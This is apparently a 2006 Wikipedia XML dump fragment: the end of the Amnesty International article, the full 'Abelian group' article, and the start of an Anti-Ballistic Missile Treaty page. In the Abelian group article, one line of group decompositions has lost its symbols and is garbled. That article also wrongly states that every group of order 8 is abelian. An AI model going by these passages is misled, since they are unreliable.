Amnesty International was founded in 1961 by a [[United Kingdom|British]] [[lawyer]] named [[Peter Benenson]] and a [[Religious Society of Friends|Quaker]] named [[Eric Baker (activist)|Eric Baker]]. Benenson was reading his newspaper and was shocked and angered to come across the story of two [[Portugal|Portuguese]] students sentenced to seven years in prison &amp;ndash; for the crime of raising their glasses in a toast to [[freedom]]. Benenson wrote to [[David Astor]], editor of ''[[The Observer]]'' newspaper, who, on [[May 28]], published Benenson's article entitled ''The Forgotten Prisoners'' [http://www.amnesty.fi/history/the_forgotten_prisoners.htm] that asked readers to write letters showing support for the students. The response was so overwhelming that within a year groups of letter writers had formed in more than a dozen countries, writing to defend victims of injustice wherever they might be. 

By mid-1962, Amnesty had groups working or forming in [[West Germany]], [[Belgium]], [[Switzerland]], [[Netherlands]], [[Norway]], [[Sweden]], [[Ireland]], [[Canada]], [[Ceylon]], [[Greece]], [[Australia]], the [[United States]], [[New Zealand]] ([[Amnesty International Aotearoa New Zealand]]), [[Ghana]], [[Israel]], [[Mexico]], [[Argentina]], [[Jamaica]], [[Malaya]], [[Congo (Brazzaville)]], [[Ethiopia]], [[Nigeria]], [[Burma]], and [[India]]. Later in that year, a member of one of these groups, Diana Redhouse, designed Amnesty's Candle and Barbed-Wire logo. 

In its early years, Amnesty focused only on articles 18 and 19 of the [[United Nations]] [[Universal Declaration of Human Rights]] &amp;ndash; those dealing with political prisoners, or more precisely, [[prisoners of conscience]] who espoused non-violence. 

Amnesty and its writers campaigned for the release of prisoners in many oppressive regimes around the world; all such regimes were pressured equally, no matter which side (if either) of the [[Cold War]] they might align with.  For example, the Spring 1986 newsletter campaigns for the release of specific prisoners from [[Guatemala]], [[South Korea]], [[South Africa]], [[Syria]], the [[Soviet Union|U.S.S.R.]], and [[Vietnam]]. 

Amnesty International was in particular a thorn in the side of the [[Soviet Union]]; they published detailed reports both of conditions in Soviet prisons and of how the Soviet political system as a whole was structured to prevent dissent and political freedom. [http://www.washingtonpost.com/wp-dyn/content/article/2005/06/07/AR2005060701497.html]
Soviet internal security documents later found in archives indicated concern about Amnesty's anti-Soviet activities. [http://psi.ece.jhu.edu/~kaplan/IRUSS/BUK/GBARC/pdfs/dis70/dis70-e.html]
[[Natan Sharansky]] is one of the more famous Soviet prisoners whose eventual release was secured with the help of Amnesty.

Amnesty was also very active in condemning oppressive regimes which commited murders, disappearances, extrajudicial killings, and outright massacres against their own citizens.  For example, the September/October 1988 newsletter's lead article was an appeal to the [[United Nations Security Council]] to &quot;act immediately to stop the massacre of Kurdish civilians by Iraqi forces&quot; under [[Saddam Hussein]].

In 1977 Amnesty won the [[Nobel Peace Prize]] for its work defending human rights around the world.

During the 1980s, Amnesty increased its visibility via popular culture events, including [[The Secret Policeman's Balls]] series, the 1986 U.S.-based [[A Conspiracy of Hope Tour]], and the 1988 worldwide [[Human Rights Now! Tour]].

Over time, the organization has expanded its mission to work to prevent and end grave abuses of the rights to physical and mental integrity, freedom of conscience and expression, and freedom from discrimination, within the context of its work to promote all human rights. Amnesty is currently running global campaigns to &quot;Control Arms&quot;, &quot;Stop Violence Against Women&quot; and to end the &quot;Death Penalty&quot;, amongst others. Amnesty also works directly on behalf of individuals suffering human rights abuses. In 2000 alone, AI worked on the cases of 3,685 named individuals &amp;ndash; and in over a third of those cases, an improvement in the prisoner's condition occurred. Today, there are upwards of 7,500 AI groups with almost two million members operating in 162 countries and territories. Since AI was founded, it has worked to defend more than 44,600 prisoners in hundreds of countries.

==Goals and strategy==
AI aims to maintain every human's basic rights as established under the United Nations Declaration of Human Rights. In accordance with this belief, Amnesty works to:

* Free all [[Prisoner of conscience|Prisoners of Conscience]] (a &quot;POC&quot; is a person imprisoned for the peaceful exercise of their beliefs, which differs somewhat from the typical use of the term [[political prisoner]]).
* Ensure fair and prompt [[trial (law)|trial]]s.
* Abolish all forms of [[torture]] and ill-treatment of prisoners, including the use of the [[death penalty]].
* End state-sanctioned terrorism, killings, and disappearances.
* Assist political [[asylum-seeker]]s.
* Co-operate with organizations that seek to put an end to human rights abuses.
* Raise awareness about human rights abuses around the world. 

To fulfill these goals, Amnesty sends teams of researchers to investigate claims of human rights abuses. It publicizes its findings and mobilizes its members to [[Lobbying|lobby]] against the abuse &amp;mdash; by letter-writing (to various government officials), protesting, demonstrating, organizing fund-raisers, educating the public about the offence, or sometimes all of the above. 

Amnesty International works to combat individual offences (e.g. one man imprisoned for distributing banned literature in [[Saudi Arabia]]) as well as more general policies (e.g. the recently overturned policy of executing juvenile offenders in [[Capital punishment in the United States|certain U.S. states]]).  Amnesty works primarily on the local level but its forty-year history of action and its Nobel Peace Prize give it international recognition.

Most AI members utilize letter-writing to get their message across. When the central Amnesty International organization finds and validates to its satisfaction instances of human rights abuse, they notify each of more than 7,000 local groups as well as over one million independent members, including 300,000 in the United States alone.  Groups and members then respond by writing letters of protest and concern to a government official closely involved in the case, generally without mentioning Amnesty directly. 

Amnesty International follows a neutrality policy called the &quot;country rule&quot; stating that members should not be active in issues in their own [[nation]], which also protects them from potential mistreatment by their own government.  This principle is also applied to researchers and campaigners working for the [[International Secretariat]] to prevent domestic political loyalties influencing coverage.

Recently, Amnesty has expanded the scope of its work to include economic, social and cultural rights, saying that these concerns had arisen out of its traditional work on political and civil rights. Its 2004 annual report said that &quot;it is difficult to achieve sustainable progress towards implementation of any one human right in isolation. ... AI will strive to ... assert a holistic view of rights protection. It will be particularly important to do so in relation to extreme poverty, and the human rights issues underlying poverty.&quot;[http://web.amnesty.org/report2004/hragenda-6-eng] As an example it asserts that &quot;The right to effective political participation depends on a free media, but also on an educated and literate population.&quot;[http://web.amnesty.org/report2004/hragenda-6-eng]

== Freedom of Expression ==
Amnesty International's postion on freedom of expression is more restrictive than what is legislated in some countries.  The organisation endorses restrictions on hate speech, racial, religious or otherwise.  In reference to the [[Muhammad cartoon controversy]], the organisation stated:

:&quot;However, the right to freedom of expression is not absolute -- neither for the creators of material nor their critics. It carries responsibilities and it may, therefore, be subject to restrictions in the name of safeguarding the rights of others. In particular, any advocacy of national, racial or religious hatred that constitutes incitement to discrimination, hostility or violence cannot be considered legitimate exercise of freedom of expression. Under international standards, such &quot;hate speech&quot; should be prohibited by law.&quot; [http://web.amnesty.org/library/Index/ENGPOL300072006?open&amp;of=ENG-315]

==Organization==
''[[Image:Irene Khan 2003.jpg|thumb|right|200px|[[Irene Khan]], Secretary General since August 2001]]''
Amnesty International is governed by the International Executive Council (IEC) &amp;ndash; a board of eight members elected for two-year terms by the International Council Meeting, which is itself composed of delegates from each country's Board of Directors.  The IEC hires a Secretary General (since 2001, [[Irene Khan]]) and an International Secretariat, located in [[London]].

National and local organizational structures vary.  In the United States, individual members, regardless of age, and each individual organization votes to elect members to the 18-seat national Board of Directors for a three-year term.  The Board of Directors hires an Executive Director and a staff. 

===Secretary Generals===
*[[Peter Benenson]], [[1961]]&amp;ndash;1966 (President)
*[[Eric Baker (activist)|Eric Baker]], [[1966]]&amp;ndash;1968
*[[Martin Ennals]], [[1968]]&amp;ndash;1980
*[[Thomas Hammarberg]], [[1980]]&amp;ndash;1986
*[[Ian Martin]], [[1986]]&amp;ndash;1992
*[[Pierre Sané]], [[1992]]&amp;ndash;2001
*[[Irene Khan]], [[2001]]&amp;ndash;present

===Finances===
Amnesty International is a non-partisan organization financed largely by subscriptions and donations from its worldwide membership, and except for a small core of paid directors, 200 or so full-time researchers in the ''International Secretariat'' in [[London]], and various coordinators and organisers in national ''sections'', most of Amnesty's members and  coordinators of local groups, and many supporters contributing time and energy to the organisation, are volunteers.  It does not accept donations from governments or governmental organizations.  Amnesty's budget for the 2002 fiscal year included:

* Membership Support:  [[Pound Sterling|£]]2,816,800  (12%) 
* Campaigning Activities:   £2,387,100  (10%) 
* Publications and Translation:  £2,810,600  (12%) 
* Research and Action:   £5,828,800  (26%)
* Deconcentrated Offices:  £1,720,400  (7%) 
* Research and Action Support:  £3,481,100  (15%) 
* Administrative Costs:   £3,918,400  (18%) 
* Relief Payments: £48,000 
* Total:  £23,728,000 (including contingency)



==See also==
*[[Human rights abuse]]
*[[Universal jurisdiction]]
*[[Action alert|Urgent action]]
*[[The Secret Policeman's Balls]]
*[[A Conspiracy of Hope Tour]]
*[[Human Rights Now! Tour]]
*[[Human Rights Watch]]
*[[International Freedom of Expression Exchange]]
*[[Freedom House]]
*[[Reporters Without Borders]]

==Notes==
* {{NamedNote|NewStatesman|1}} Khan's aside may have been partly inspired by a cover story a year earlier in the British weekly ''[[New Statesman]]'', describing the system of [[extraordinary rendition]] as &quot;America's Gulag&quot;.[http://www.findarticles.com/p/articles/mi_m0FQP/is_4688_133/ai_n6159185]

==External links==
{{wikiquote}}
* [http://www.amnesty.org/ Amnesty International's Website]
* [http://www.amnestyusa.org/ Amnesty International USA's Website] 
* [http://www.amnesty.org.uk/ Amnesty International UK's Website] 
* [http://www.amnesty.org.au/ Amnesty International Australia's Website]
* [http://www.amnesty.org.nz/ Amnesty International New Zealand's Website]
* [http://www.amnesty.ca/ Amnesty International Canada's Website]
* Peter Benenson: ''[http://www.hrweb.org/ai/observer.html The Forgotten Prisoners]'' ''The Observer'', [[May 28]], [[1961]]
*William Schulz, [http://student.cs.ucc.ie/cs1064/jabowen/IPSC/articles/article0006804.html Security Is a Human Right, Too], ''New York Times'', [[April 18]], [[2004]].
*[http://web.amnesty.org/report2004/index-eng AI's 2004 annual report on human rights abuses] (Summary [http://www.guardian.co.uk/international/story/0,3604,1225027,00.html])
*[http://web.amnesty.org/report2005/index-eng AI's 2005 annual report on human rights abuses] 
*[http://www.charity-commission.gov.uk/registeredcharities/showcharity.asp?remchar=&amp;chyno=294230 Registered Charity No. 294230] (UK Charity Commission)

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[http://www.example.com link title]</text>
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  </page>
  <page>
    <title>Abelian group</title>
    <id>2974</id>
    <revision>
      <id>39746080</id>
      <timestamp>2006-02-15T15:58:30Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[mathematics]], an '''abelian group''', also called a '''commutative group''', is a [[group (mathematics)|group]] (''G'', *) such that 

:''a'' * ''b'' = ''b'' * ''a'' 

for all ''a'' and ''b'' in ''G''. In other words, the order of elements in a product doesn't matter. Such groups are generally easier to understand.

Abelian groups are named after [[Niels Henrik Abel]]. Groups that are not commutative are called '''''non-abelian''''' (rather than ''non-commutative'').

== Notation ==

There are two main notational conventions for abelian groups -- additive and multiplicative.
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
! Convention
! Operation
! Identity
! Powers
! Inverse
! [[Direct sum|Direct sum/product]]
|-
! Addition
| ''a'' + ''b'' || 0 || ''na'' || &amp;minus;''a'' || ''G'' &amp;oplus; ''H''
|-
! Multiplication
| ''a'' * ''b'' or ''ab'' || ''e'' or 1
| ''a''&lt;sup&gt;''n''&lt;/sup&gt;
| ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; || ''G'' &amp;times; ''H''
|}

The multiplicative notation is the usual notation for groups, while the additive notation is the usual notation for [[module (mathematics)|module]]s. When studying abelian groups in their own right, the additive notation is usually used.

== Examples ==

Every [[cyclic group]] ''G'' is abelian, because if ''x'', ''y'' are in ''G'', then ''xy'' = ''a''&lt;sup&gt;''m''&lt;/sup&gt;''a''&lt;sup&gt;''n''&lt;/sup&gt; = ''a''&lt;sup&gt;''m'' + ''n''&lt;/sup&gt; = ''a''&lt;sup&gt;''n'' + ''m''&lt;/sup&gt; = ''a''&lt;sup&gt;''n''&lt;/sup&gt;''a''&lt;sup&gt;''m''&lt;/sup&gt; = ''yx''. In particular, the [[integer]]s '''Z''' form an abelian group under addition, as do the [[modular arithmetic|integers modulo ''n'']] '''Z'''/''n'''''Z'''.

The [[real number]]s form an abelian group under addition, as do the non-zero real numbers under multiplication.

Every [[Ring theory|ring]] is an abelian group with respect to its addition operator. Also, in every [[commutative ring]] the invertible elements, or [[unit (ring theory)|units]] form an abelian [[multiplicative group]].

Any [[subgroup]] of an abelian group is [[normal subgroup|normal]], so for every subgroup there is a [[quotient group]]. Subgroups, factor groups, and [[direct sum of groups| direct sums]] of abelian groups are again abelian.

== Multiplication table ==

To verify that a certain [[finite group]] is indeed abelian, a table (matrix) can be drawn up in the similar fashion to a [[multiplication table]], where, if the group is ''G'' = {''g''&lt;sub&gt;1&lt;/sub&gt; = ''e'', ''g''&lt;sub&gt;2&lt;/sub&gt;, ..., ''g''&lt;sub&gt;''n''&lt;/sub&gt;} under the operation &amp;sdot;, the (''i'', ''j'')'th entry of this table contains the product ''g''&lt;sub&gt;''i''&lt;/sub&gt; &amp;sdot; ''g''&lt;sub&gt;''j''&lt;/sub&gt;. The group is abelian  [[if and only if]] this table is symmetric about the main diagonal (i.e. if the matrix is a [[symmetric matrix]]).

This is true since if the group is abelian, then ''g''&lt;sub&gt;''i''&lt;/sub&gt; &amp;sdot; ''g''&lt;sub&gt;''j''&lt;/sub&gt; = ''g''&lt;sub&gt;''j''&lt;/sub&gt; &amp;sdot; ''g''&lt;sub&gt;''i''&lt;/sub&gt;. This implies that the (''i'', ''j'')'th entry of the table equals the (''j'', ''i'')'th entry - i.e. the table is symmetric about the main diagonal.

== Properties ==

If ''n'' is a [[natural number]] and ''x'' is an element of an abelian group ''G'' written additively, then ''nx'' can be defined as ''x'' + ''x'' + ... + ''x'' (''n'' summands) and (&amp;minus;''n'')''x'' = &amp;minus;(''nx''). In this way, ''G'' becomes a [[module (mathematics)|module]] over the [[ring (mathematics)|ring]] '''Z''' of integers. In fact, the modules over '''Z''' can be identified with the abelian groups.

Theorems about abelian groups (i.e. modules over the [[principal ideal domain]] '''Z''') can often be generalized to theorems about modules over an arbitrary principal ideal domain. A typical example is the classification of [[finitely generated abelian group]]s.

If ''f'', ''g'' : ''G'' &amp;nbsp;&amp;rarr;&amp;nbsp; ''H'' are two [[group homomorphism]]s between abelian groups, then their sum ''f'' + ''g'', defined by (''f'' + ''g'')(''x'') = ''f''(''x'') + ''g''(''x''), is again a homomorphism. (This is not true if ''H'' is a non-abelian group). The set Hom(''G'', ''H'') of all group homomorphisms from ''G'' to ''H'' thus turns into an abelian group in its own right.

Somewhat akin to the [[dimension]] of [[vector space]]s, every abelian group has a ''[[rank of an abelian group|rank]]''. It is defined as the [[cardinal number|cardinality]] of the largest set of [[linearly independent]] elements of the group. The integers and the [[rational number]]s have rank one, as well as every subgroup of the rationals. While the rank one [[torsion-free]] abelian groups are well understood, even finite-rank abelian groups are not well understood. Infinite-rank abelian groups can be extremely complex and many open questions exist, often intimately connected to questions of [[set theory]].

== Finite abelian groups ==

The '''fundamental theorem of finite abelian groups''' states that every finite abelian group can be expressed as the direct sum of cyclic subgroups of [[prime number|prime]]-power order. This is a special application of the [[fundamental theorem of finitely generated abelian groups]] in the case when ''G'' has torsion-free rank equal to 0.

'''Z'''&lt;sub&gt;''mn''&lt;/sub&gt; is isomorphic to the direct product of '''Z'''&lt;sub&gt;''m''&lt;/sub&gt; and '''Z'''&lt;sub&gt;''n''&lt;/sub&gt; if and only if ''m'' and ''n'' are [[coprime]].

Therefore we can write any finite abelian group ''G'' as a direct product of the form
:&lt;math&gt;\mathbb{Z}_{k_1} \oplus \cdots \oplus \mathbb{Z}_{k_u}&lt;/math&gt;
in two unique ways:
*where the numbers ''k''&lt;sub&gt;1&lt;/sub&gt;,...,''k''&lt;sub&gt;''u''&lt;/sub&gt; are powers of primes
*where ''k''&lt;sub&gt;1&lt;/sub&gt; [[divisor|divides]] ''k''&lt;sub&gt;2&lt;/sub&gt;, which divides ''k''&lt;sub&gt;3&lt;/sub&gt; and so on up to ''k''&lt;sub&gt;''u''&lt;/sub&gt;.

Thus we have 3 2 or 6, 5 2 or 10, 4 3 or 12, 3 2 2 or 6 2, 7 2 or 14, and 5 3 or 15, but anyway 2 2, 4 2, 2 2 2, 3 3, 8 2, 4 4, 4 2 2, and 2 2 2 2.

For example, '''Z'''/15'''Z''' = '''Z'''/15 can be expressed as the direct sum of two cyclic subgroups of order 3 and 5:  '''Z'''/15 = {0, 5, 10} &amp;oplus; {0, 3, 6, 9, 12}.  The same can be said for any abelian group of order 15, leading to the remarkable conclusion that all abelian groups of order 15 are [[group isomorphism|isomorphic]].

For another example, every group of order 8 is isomorphic to either '''Z'''/8 (the integers 0 to 7 under addition modulo 8), '''Z'''/4 &amp;nbsp;&amp;oplus;&amp;nbsp;'''Z'''/2 (the odd integers 1 to 15 under multiplication modulo 16), or '''Z'''/2 &amp;nbsp;&amp;oplus;&amp;nbsp; '''Z'''/2 &amp;nbsp;&amp;oplus;&amp;nbsp; '''Z'''/2.

==List of small abelian groups==
Extracted from the [[list of small groups]] is the following table of small abelian groups.

Note that e.g. &quot;3 &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;&quot; means that there are 3 subgroups of type Z&lt;sub&gt;2&lt;/sub&gt;, while elsewhere the cross means  [[direct product]].

&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;th&gt;Order&lt;/th&gt;
&lt;th&gt;Group&lt;/th&gt;
&lt;th&gt;Subgroups&lt;/th&gt;
&lt;th&gt;Properties&lt;/th&gt;
&lt;th&gt;Cycle graph&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;1&lt;/th&gt;
&lt;td&gt;'''trivial group''' = Z&lt;sub&gt;1&lt;/sub&gt; = ''S''&lt;sub&gt;1&lt;/sub&gt; = ''A''&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;various properties hold [[Trivial (mathematics)|trivially]]
&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC1.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;2&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;2&lt;/sub&gt; = ''S''&lt;sub&gt;2&lt;/sub&gt; = Dih&lt;sub&gt;1&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;simple, the smallest non-trivial group&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC2.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;3&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;3&lt;/sub&gt; = ''A''&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;simple&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC3.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=&quot;2&quot;&gt;4&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;4&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC4.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;[[Klein four-group]] = Z&lt;sub&gt;2&lt;/sub&gt; &lt;sup&gt;2&lt;/sup&gt; = Dih&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;3 &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;the smallest non-cyclic group&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniD4.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;5&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;5&lt;/sub&gt; &lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;simple&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC5.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;6&lt;/th&gt;
&lt;td&gt;[[Isomorphism#Practical_example|Z&lt;sub&gt;6&lt;/sub&gt; = Z&lt;sub&gt;3&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;]]&lt;/td&gt;
&lt;td&gt;Z&lt;sub&gt;3&lt;/sub&gt; , Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC6.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;7&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;7&lt;/sub&gt; &lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;simple&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC7.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=&quot;3&quot;&gt;8&lt;/th&gt;
&lt;td&gt;[[Subgroup#Example|Z&lt;sub&gt;8&lt;/sub&gt;]]&lt;/td&gt;
&lt;td&gt;Z&lt;sub&gt;4&lt;/sub&gt; , Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC8.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Z&lt;sub&gt;4&lt;/sub&gt; &amp;times;Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;2 &amp;times; Z&lt;sub&gt;4&lt;/sub&gt; , Z&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt;, 3 &amp;times;Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC2C4.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt; Z&lt;sub&gt;2&lt;/sub&gt; &lt;sup&gt;3&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;7 &amp;times;
Z&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/sub&gt; , 7 &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; &lt;/td&gt; 
&lt;td&gt;the non-identity elements correspond to the points in the [[Fano plane]], the Z&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; subgroups to the lines&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC2x3.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=&quot;2&quot;&gt;9&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;9&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; Z&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC9.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt; Z&lt;sub&gt;3&lt;/sub&gt; &amp;times;
Z&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; 4 &amp;times; Z&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC3x2.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;10&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;10&lt;/sub&gt; = Z&lt;sub&gt;5&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; Z&lt;sub&gt;5&lt;/sub&gt; , Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC10.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;11&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;11&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;simple&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC11.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=&quot;2&quot;&gt;12&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;12&lt;/sub&gt; = Z&lt;sub&gt;4&lt;/sub&gt; &amp;times; Z&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;Z&lt;sub&gt;6&lt;/sub&gt; , Z&lt;sub&gt;4&lt;/sub&gt; , Z&lt;sub&gt;3&lt;/sub&gt; , Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC12.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt; Z&lt;sub&gt;6&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; = Z&lt;sub&gt;3&lt;/sub&gt; &amp;times;
Z&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; = Z&lt;sub&gt;3&lt;/sub&gt; &amp;times;  Z&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/td&gt;
&lt;td&gt;2 &amp;times; Z&lt;sub&gt;6&lt;/sub&gt;, Z&lt;sub&gt;3&lt;/sub&gt; ,  3 &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC2C6.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;13&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;13&lt;/sub&gt; &lt;/td&gt;
&lt;td&gt;-&lt;/td&gt; 
&lt;td&gt;simple&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC13.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;14&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;14&lt;/sub&gt; = Z&lt;sub&gt;7&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; Z&lt;sub&gt;7&lt;/sub&gt; , Z&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC14.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;15&lt;/th&gt;
&lt;td&gt;Z&lt;sub&gt;15&lt;/sub&gt; = Z&lt;sub&gt;5&lt;/sub&gt; &amp;times; Z&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;Z&lt;sub&gt;5&lt;/sub&gt; , Z&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt; 
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;[[Image:GroupDiagramMiniC15.png|center]]&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=&quot;5&quot;&gt;16&lt;/th&gt;
{{groups 16a|}}

&lt;/table&gt;

== Relation to other mathematical topics ==

The abelian group, together with group homomorphisms, form a [[category theory|category]], the prototype of an [[abelian category]]. In this encyclopedia, we denote this category '''Ab'''. See [[category of abelian groups]] for a list of its properties.

Many large abelian groups carry a natural [[topological space|topology]], turning them into [[topological group]]s.

== A note on the typography ==
Among mathematical [[adjective]]s derived from the [[proper name]] of a [[mathematician]], the word &quot;abelian&quot; is rare in being expressed with a lowercase '''a''', rather than '''A''' (compare, for example, [[Riemannian geometry|Riemannian]]). Contrary to what one might expect, naming a concept in this way is considered one of the highest honors in mathematics for the [[namesake]]. 

[[Category:Abelian group theory| ]]

[[cs:Abelova grupa]]
[[de:Abelsche Gruppe]]
[[et:Abeli rühm]]
[[es:Grupo abeliano]]
[[eo:Komuta grupo]]
[[fr:Groupe abélien]]
[[ko:아벨군]]
[[it:Gruppo abeliano]]
[[hu:Abel-csoport]]
[[nl:Abelse groep]]
[[ja:アーベル群]]
[[no:Abelsk gruppe]]
[[pl:Grupa abelowa]]
[[pt:Grupo abeliano]]
[[ro:Grup abelian]]
[[ru:Абелева группа]]
[[sk:Abelovská grupa]]
[[sl:Abelova grupa]]
[[sv:Abelsk grupp]]
[[zh:阿贝尔群]]</text>
    </revision>
  </page>
  <page>
    <title>Anti-Ballistic Missile Treaty</title>
    <id>2975</id>
    <revision>
      <id>40360478</id>
      <timestamp>2006-02-20T01:26:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
